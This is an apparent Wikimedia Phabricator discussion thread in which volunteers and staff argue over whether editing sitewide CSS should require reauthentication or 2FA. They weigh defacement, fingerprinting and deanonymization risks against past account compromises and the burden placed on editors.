You are right that it is overall less risky than editing JS, since it's unlikely to lead to a worm or other kind of malicious script. There are potential privacy issues from 3P CSS domains, but they are not what's driving the decision here either - CSP will likely be the main lever for addressing that. It is the risk of malicious alteration of the user interface (potentially as a component of a larger attack), and the risk of direct site-wide defacement and/or making the site unusable. These seem like quite real risks to us, that adversaries would be incentivized to exploit if they could.

How is that at all different from editing https://en.wikipedia.org/wiki/Module:Infobox/styles.css (5 million transclusions) or https://en.wikipedia.org/wiki/Module:Navbox/styles.css (another 5 million transclusions) to ‘deface’ the website? There is more surface area available in Common.css or gadgets (you don’t have to target just page content) but there are TemplateStyles pages with millions of uses, which are not behind 2FA protection and shouldn’t be (they’re not even behind sysop protection!). This justification is the flimsiest excuse for doing nothing about needlessly putting a restriction that saves people from nothing and solves nothing. For a regular reader, there is no difference between ‘defacing’ the website via editing Common.css or via editing Module:Infobox/styles.css. This clearly shows to me again and again that people making security decisions, frankly, have a pretty shallow understanding of the website, which is what led to this whole incident in the first place.

I think it's significantly different, since TemplateStyles are limited to styling .mw-parser-output elements, which are mostly present in articles and not on special pages, and whose normal location limits the risk due to existing CSS stacking contexts in the skin (e.g. on Vector 2022, you can't cover the top bar that way, and so you can't e.g. substitute the login link with your own – although you can currently cover the sidebars), which could be further improved as described in T40848 (which can be fixed – it's just a difficult sell, since it would force both MediaWiki developers and template writers to adjust to new limitations).

In T197137#12107126, @matmarex wrote:

I think it's significantly different, since TemplateStyles are limited to styling .mw-parser-output elements, which are mostly present in articles and not on special pages, and whose normal location limits the risk due to existing CSS stacking contexts in the skin (e.g. on Vector 2022, you can't cover the top bar that way, and so you can't e.g. substitute the login link with your own – although you can currently cover the sidebars), which could be further improved as described in T40848 (which can be fixed – it's just a difficult sell, since it would force both MediaWiki developers and template writers to adjust to new limitations).

Common.css and gadgets already don’t get loaded at any of the important special pages like Special:Preferences etc., so I’m not sure what their exact relevance to this is. The point is that the specific possibility of defacing the website via a well-crafted CSS edit without any of corresponding HTML or JS edits is incredibly miniscule, and there are both other vectors for the same thing (a regular reader isn’t exactly a connoisseur of how our interface looks at all times and which dropdowns we have and don’t have) that are both quicker (MediaWiki edits only get propagated after 15 minutes, unlike template edits) and require far lower level of access. And fixing them is a tough sell, so we get strange actions targetted at people which wouldn’t be first in line to deface the website to begin with (or could without JS access only in ways that are currently entirely unprotected by 2FA, like any of unsafe HTML messages or sitenotices).

While I don't appreciate the heat of this debate, I think the points made by @stjn carry a significant amount of weight. Currently, it is difficult to identify the overall strategy pursued by the Security Team, and the perspective may emerge that they are tackling down on specific points brought to their attention rather than acting on priorities identified using a global risk analysis. I understand that transparency with regards to such issues may have problems on its own, but ultimately I think a secret security agenda would not work out well either way.
To be a bit brash, some of the responses given here do not really contribute to alleviate these concerns. In particular, it does not really seem like volunteer input to identify the most effective measures, while limiting well-meaning user impact, is appreciated with an open mind. We have a lot of expertise here, we should use it.

While I do understand the desire to tighten security of our critical infrastructure, we have to be wary of the overall impact these have on our volunteer community. If a certain security measure is seen as so inconvenient that engagement in a certain area drops considerably, we can not afford the luxury to pursue this option. Therefore, I consider it important to evaluate such impacts both on the js/css activity in recent months, and also for other projects, like the rollout of 2fa for privileged roles. (On dewiki, we lost one CU due to 2fa, while this may be an acceptable cost, a broader rollout let's say to admins would probably produce significantly higher rates.)

I am bringing this up as I am somewhat alarmed regarding the stance taken here with regards to template editing here.
In contrast to js/css (or 2fa for cu/os/crat/steward), these tasks are performed by a significantly larger community.
It is overwhelmingly likely that these users would be even less welcoming with regards to significant hurdles – most likely an understatement. And due to the more limited risk and broader experience with regards to abuse, you will have an even harder time to sell the necessity of such measures.

(Some measures may still be both fine and effective of course! Let's say, restricting template namespace to autoconfirmed or conservatively auto-protecting templates eclipsing a certain transclusion count on sensible levels could be acceptable with prior community consultation. In particular, to determine sensible counts by level on larger wikis.)

We cannot afford security tightening to incidentally kill the movement. But even disregarding that, widely restricting template editing without extensive prior community consultation will most likely result in some major drama on-wiki which I would really like to spare both the Security Team and everyone else.

In T197137#12107292, @MGChecker wrote:

While I don't appreciate the heat of this debate, I think the points made by @stjn carry a significant amount of weight. Currently, it is difficult to identify the overall strategy pursued by the Security Team, and the perspective may emerge that they are tackling down on specific points brought to their attention rather than acting on priorities identified using a global risk analysis. I understand that transparency with regards to such issues may have problems on its own, but ultimately I think a secret security agenda would not work out well either way.
To be a bit brash, some of the responses given here do not really contribute to alleviate these concerns. In particular, it does not really seem like volunteer input to identify the most effective measures, while limiting well-meaning user impact, is appreciated with an open mind. We have a lot of expertise here, we should use it.

I am bringing this up as I am somewhat alarmed regarding the stance taken here with regards to template editing here.
In contrast to js/css (or 2fa for cu/os/crat/steward), these tasks are performed by a significantly larger community.
It is overwhelmingly likely that these users would be even less welcoming with regards to significant hurdles – most likely an understatement. And due to the more limited risk and broader experience with regards to abuse, you will have an even harder time to sell the necessity of such measures.

(Some measures may still be both fine and effective of course! Let's say, restricting template namespace to autoconfirmed or conservatively auto-protecting templates eclipsing a certain transclusion count on sensible levels could be acceptable with prior community consultation. In particular, to determine sensible counts by level on larger wikis.)

We cannot afford security tightening to incidentally kill the movement. But even disregarding that, widely restricting template editing without extensive prior community consultation will most likely result in some major drama on-wiki which I would really like to spare both the Security Team and everyone else.

@MGChecker My understanding of this discussion is that the Security Team is not necessarily advocating for locking down template editing (though that is something that is already in place through template-editing perms and more broadly through sysop-editing permission) but rather trying to explain why the ability to edit a widely used sanitized CSS file is different from being able to edit Common.css files using highly transcluded CSS files as a example.

Re the whole argument raised by @stjn about defacement, I really don't think it holds much water, and I feel like we are missing the forest for the trees. Yes, defacements do occur through template editing; my understanding is that it is not the primary threat vector for Common.css, but rather the ability to deanonymize users by harvesting "CU-grade" information of every reader and logged-in editor who visits the site. As a reader, that, to me, is a much bigger problem than vandalism showing up for a few minutes, and I think that's why Common.css warrants protection compared to garden-grade template vandalism. Further, unrestricted CSS access can lead to more CSS fingerprinting attacks at scale, which can be used to leak a user's CSRF token and perform actions on a user's behalf. None of this is possible in sanitized CSS at the moment, which is why there is a privilege gradient in the first place.

Even if we focus specifically on the ability to deface the website, the incidents that have happened before are a function of volunteers (including myself) failing to identify highly connected templates. Many times, this has been rectified by simply putting the templates under template protection. (i.e locking it down) I don't think it makes sense to argue that, since there are isolated examples where this can occur, we should allow it across the whole website at once.

In T197137#12107292, @MGChecker wrote:

While I do understand the desire to tighten security of our critical infrastructure, we have to be wary of the overall impact these have on our volunteer community. If a certain security measure is seen as so inconvenient that engagement in a certain area drops considerably, we can not afford the luxury to pursue this option. Therefore, I consider it important to evaluate such impacts both on the js/css activity in recent months, and also for other projects, like the rollout of 2fa for privileged roles. (On dewiki, we lost one CU due to 2fa, while this may be an acceptable cost, a broader rollout let's say to admins would probably produce significantly higher rates.)

I will be very blunt: I don't think opposing 2FA enforcement is the correct approach here. If anything, improving documentation and onboarding more people is the correct approach. We will unfortunately lose people along the way, but I think at some point we need to be firm. I don't think it's an overreach to ask for basic account security practises from the same administrators, arbcom members, and checkusers who can access sensitive non-public information or have significant social capital or power on the site.

Traditionally, CSS is treated as same as JS for security concern. See https://meta.wikimedia.org/wiki/Creation_of_separate_user_group_for_editing_sitewide_CSS/JS

We cannot afford security tightening to incidentally kill the movement. But even disregarding that, widely restricting template editing without extensive prior community consultation will most likely result in some major drama on-wiki which I would really like to spare both the Security Team and everyone else.

I understand I invited this upon myself by gesturing at us doing something to secure template editing in a prior comment, but to be clear, I wasn't referring to imposing a blunt 2FA requirement for template editing, just our interest in looking into ways to secure this area of the platform. What we're focused on right now are the widest and highest-risk exercises of sensitive rights.

@EMill-WMF Thank you for the clarification.

@Soda Actually, I was not advocating against 2fa enforcement and agree that it is appropriate. Still, I think we should carefully monitor such effects and take them into account in our decisions.
Discussing 2fa further is out of scope here, but the general point is just as relevant for this task.

When I was taking the Cybersecurity course, the first thing they taught us was the threat model. Probably that's what WMF really needs to reanalyze -- and consult in it with the community becuase their current threat model appears to be pretty inadequate.

In T197137#12107394, @Soda wrote:

Re the whole argument raised by @stjn about defacement, I really don't think it holds much water, and I feel like we are missing the forest for the trees. Yes, defacements do occur through template editing; my understanding is that it is not the primary threat vector for Common.css, but rather the ability to deanonymize users by harvesting "CU-grade" information of every reader and logged-in editor who visits the site. As a reader, that, to me, is a much bigger problem than vandalism showing up for a few minutes, and I think that's why Common.css warrants protection compared to garden-grade template vandalism. Further, unrestricted CSS access can lead to more CSS fingerprinting attacks at scale, which can be used to leak a user's CSRF token and perform actions on a user's behalf. None of this is possible in sanitized CSS at the moment, which is why there is a privilege gradient in the first place.

I did say earlier that I would find a restriction aimed at adding any new URLs to a CSS file perfectly reasonable. What I don’t find perfectly reasonable is expecting me to do re-auth for https://ru.wikipedia.org/?diff=153865155 this type of edit, and the alleged threat of defacement raised by this is such a trivial concern (and the one that’s not at all limited to CSS editing) that I was astonished that it was even brought up as a justification for making our life harder. After March security incident, which was entirely avoidable, I have low trust in the people that are making decisions here, especially when they are being justified in ‘we are authority and we are going to do anything we want’ type of manner, so my perception is that they are winging it on what the community at large can swallow before a widespread rebellion and giving up the rights occurs. It did not get to that point for me even though for 4 months editing JS and CSS was absolute hell, but if the plan is to introduce more restrictions against the completely theoretical threat of ‘defacement’ and generally make editors’ lives harder (and defend the nebulous existing ones even though what this task is supposed to protect against are actual threats, not the general threat of vandalism ever occurring), then I might just reach it at some point.

In T197137#12107394, @Soda wrote:

Yes, defacements do occur through template editing; my understanding is that it is not the primary threat vector for Common.css, but rather the ability to deanonymize users by harvesting "CU-grade" information of every reader and logged-in editor who visits the site.

Wait a second. Am I reading this discussion incorrectly, or is the possibility of defacement the main driver of the CSS restrictions, which was Eric Mill's explicit point? They wrote in T197137#12105551:

There are potential privacy issues from 3P CSS domains, but they are not what's driving the decision here either - [...]. It is the risk of malicious alteration of the user interface (potentially as a component of a larger attack), and the risk of direct site-wide defacement and/or making the site unusable. These seem like quite real risks to us, that adversaries would be incentivized to exploit if they could.

And this point, based on information I currently have, I consider not holding any water at all. Not only because it is currently theoretical and goes beyond the scope of possible responses to a security issue (it would be one if the concern was about, say, hijacking a donation link that would be able to stay like that for days — but that's not what is cited as the reason) and seems like smuggling of a clause into a solution for an unrelated problem.

But also because — even if it weren't theoretical — Wikipedia has been dealing with a thing called vandalism since its inception and has earned itself a reputation for it. Now, a defacement is essentially a vandalism; site-wide or not is minutiae (one could argue: if a malicious actor was able to get around sysop-grade defences, they can carry out a limited defacement; if they were able to overcome interface-admin-grade ones, they can do a site-wide defacement; the second is worse, but also harder). "Wikipedia isn't afraid of vandals", they say, and not because of a closed architecture; because of its ability to undo any malicious changes quickly ("wiki"). The trigger for this decision doesn't come even close to the bar that would be required for throwing that reputation down the drain. I expect it to be lifted.

In T197137#12037931, @EMill-WMF wrote:

the bigger issue isn't really privacy risks from people adding e.g. CSS links to third party domains. They are 1) it being used to maliciously change the interface to fool users in some way, and 2) straight-up defacement of Wikipedia at scale. #2 is the most direct risk

Typically, when people discuss such matters on Wikimedia sites, a person in charge would say:

Hey, you might think we're guided by a possibility of vandalism in making this decision. Well, don't worry; it's not the case. The thing we are guided by is a security concern which, however small, can lead to major problems.

It is genuinely odd to hear the same in reverse.

Of course, a strategy like "We plan to lift 2fa on css once we have hardened by limiting urls, have limited affected areas for anonymous users on Vector 2022 and implemented additional measure x" would be a lot more well-received.

I'd like to add a bit of perspective here as an aside.

This ticket was opened in 2018, and in practice nothing here was ever actually exploited until a single, unique 2026 incident — caused by one person who went as far as executing thousands of scripts without any verification. The scale of discussion this ticket has generated feels disproportionate to what we have seen on the ground: we're mostly debating a hypothetical, not a widespread or common attack pattern. That should tip the balance toward avoiding friction that is, ultimately, largely unnecessary. And regardless, there's also the "already lost" aspect: once malicious code actually executes in a privileged session, there isn't much any of these reauth mechanisms can do about it anyway — as has been pointed out repeatedly on this ticket.

As a complementary (not alternative) track, it might be worth exploring automated static analysis over the codebase — e.g. a bot flagging suspicious patterns (dynamic script loading, eval-like constructs, obfuscation, etc.) across site/user JS — rather than relying purely on friction at edit time.

Also, while we're at it, I want to resurface a point I raised back in April (T197137#11821610):

A related — and significant — issue I'd like to mention is that when editing one's own personal JS (and CSS) subpages, the code is executed/applied during the preview! This is very surprising, an open invitation to shoot oneself in the foot, and potentially even a security hole. I cannot recall a single instance where this "feature" was actually useful to me.

This seems like a genuine low-hanging fruit: probably easy to fix, and a pure win on both security and usability at the same time.

In T197137#12112551, @Od1n wrote:

I'd like to add a bit of perspective here as an aside.

This ticket was opened in 2018, and in practice nothing here was ever actually exploited until a single, unique 2026 incident — caused by one person who went as far as executing thousands of scripts without any verification. The scale of discussion this ticket has generated feels disproportionate to what we have seen on the ground: we're mostly debating a hypothetical, not a widespread or common attack pattern. That should tip the balance toward avoiding friction that is, ultimately, largely unnecessary.

I don't think that's correct, there have been exploits of accounts with extended permissions due to (user) JS by malicious actors in previous years. Due to some lucky coincidences those incidences were quickly contained, but we shouldn't rely on luck, requiring reauthentication certainly makes it harder for attackers to achieve their goal.

In T197137#12112551, @Od1n wrote:

I'd like to add a bit of perspective here as an aside.

This ticket was opened in 2018, and in practice nothing here was ever actually exploited until a single, unique 2026 incident — caused by one person who went as far as executing thousands of scripts without any verification. The scale of discussion this ticket has generated feels disproportionate to what we have seen on the ground: we're mostly debating a hypothetical, not a widespread or common attack pattern. That should tip the balance toward avoiding friction that is, ultimately, largely unnecessary. And regardless, there's also the "already lost" aspect: once malicious code actually executes in a privileged session, there isn't much any of these reauth mechanisms can do about it anyway — as has been pointed out repeatedly on this ticket.

As a complementary (not alternative) track, it might be worth exploring automated static analysis over the codebase — e.g. a bot flagging suspicious patterns (dynamic script loading, eval-like constructs, obfuscation, etc.) across site/user JS — rather than relying purely on friction at edit time.

Also, while we're at it, I want to resurface a point I raised back in April (T197137#11821610):

A related — and significant — issue I'd like to mention is that when editing one's own personal JS (and CSS) subpages, the code is executed/applied during the preview! This is very surprising, an open invitation to shoot oneself in the foot, and potentially even a security hole. I cannot recall a single instance where this "feature" was actually useful to me.

This seems like a genuine low-hanging fruit: probably easy to fix, and a pure win on both security and usability at the same time.

I have already said nine years ago (then interface admins does not yet exist) that rogue or compromised admins can make every viewer a vandal bot.

Compromising of admins at that time is quite easy (since 2FA is not yet a thing); at that time there is a wave of compromises of enwiki sysops by OurMine and another in 2018. In 2018 common.js of Commons is also compromised (seems to run cryptominer). Fortunely, none of such activities have long-lasting on-wiki damage like the 2026 one. i.e. there is a very very serious waiting to happen and it happened recently.

(by the way, the 2026 incident is still not the maximum what malicious script can do - malicious script can spread itself to other wikis, and before we enforce CSP, it can make every viewer a vandalbot in any wiki including non-WMF ones, due to T40417. Currently spreading vandalism across Wikimedia is possible; spreading between different non-WMF sites is possible but only pages editable by anonymous users can be affected (so no JS or CSS); spreading from Wikimedia to non-WMF wiki is no longer possible due to CSP; and spreading from non-WMF to Wikimedia wikis will no longer be possible once we enforce HCaptcha in API edits.)

Many measures are taken in recent years. The attack surface is narrower, but still exists:

• it is still possible to compromise a steward via phishing (see T210909#11146360 - we now require reauth but we can exploit a session after they do things that needs reauth);
• once you compromise common.js, you can still (1) make every page viewer a vandalbot and (2) until T419347 is fixed, spread scripts to user's common.js or global.js and have persistent effect on any wiki.

In T197137#12112551, @Od1n wrote:

A related — and significant — issue I'd like to mention is that when editing one's own personal JS (and CSS) subpages, the code is executed/applied during the preview! This is very surprising, an open invitation to shoot oneself in the foot, and potentially even a security hole. I cannot recall a single instance where this "feature" was actually useful to me.

This seems like a genuine low-hanging fruit: probably easy to fix, and a pure win on both security and usability at the same time.

See {T186391}.

It's somewhat useful for testing changes, adding debugging instructions etc. Could also be made a lot more useful with something like T193154: Show preview controls when editing CSS/JS pages . (Useful enough to offset the risk? Not sure.)

Thanks to @Johannnes89 and @Bugreporter for bringing up prior incidents (the 2018 admin account compromises, the Commons common.js cryptominer compromise). That context is genuinely useful and shifts the perspective here — this isn't a purely hypothetical risk invented after one unusual 2026 event, there's a track record of privileged JS/CSS access being abused before any of these mitigations existed.

Separately: @Tgr's reference to T186391 above renders as a broken {T186391} link — that task appears to have restricted visibility, so most of us can't actually see what it says. Worth flagging in case that's unintentional, since it's being cited as relevant background here.

In T197137#12112582, @Johannnes89 wrote:

I don't think that's correct, there have been exploits of accounts with extended permissions due to (user) JS by malicious actors in previous years. Due to some lucky coincidences those incidences were quickly contained, but we shouldn't rely on luck, requiring reauthentication certainly makes it harder for attackers to achieve their goal.

(But also, there have been exactly zero incidents involving CSS editing, I might add.)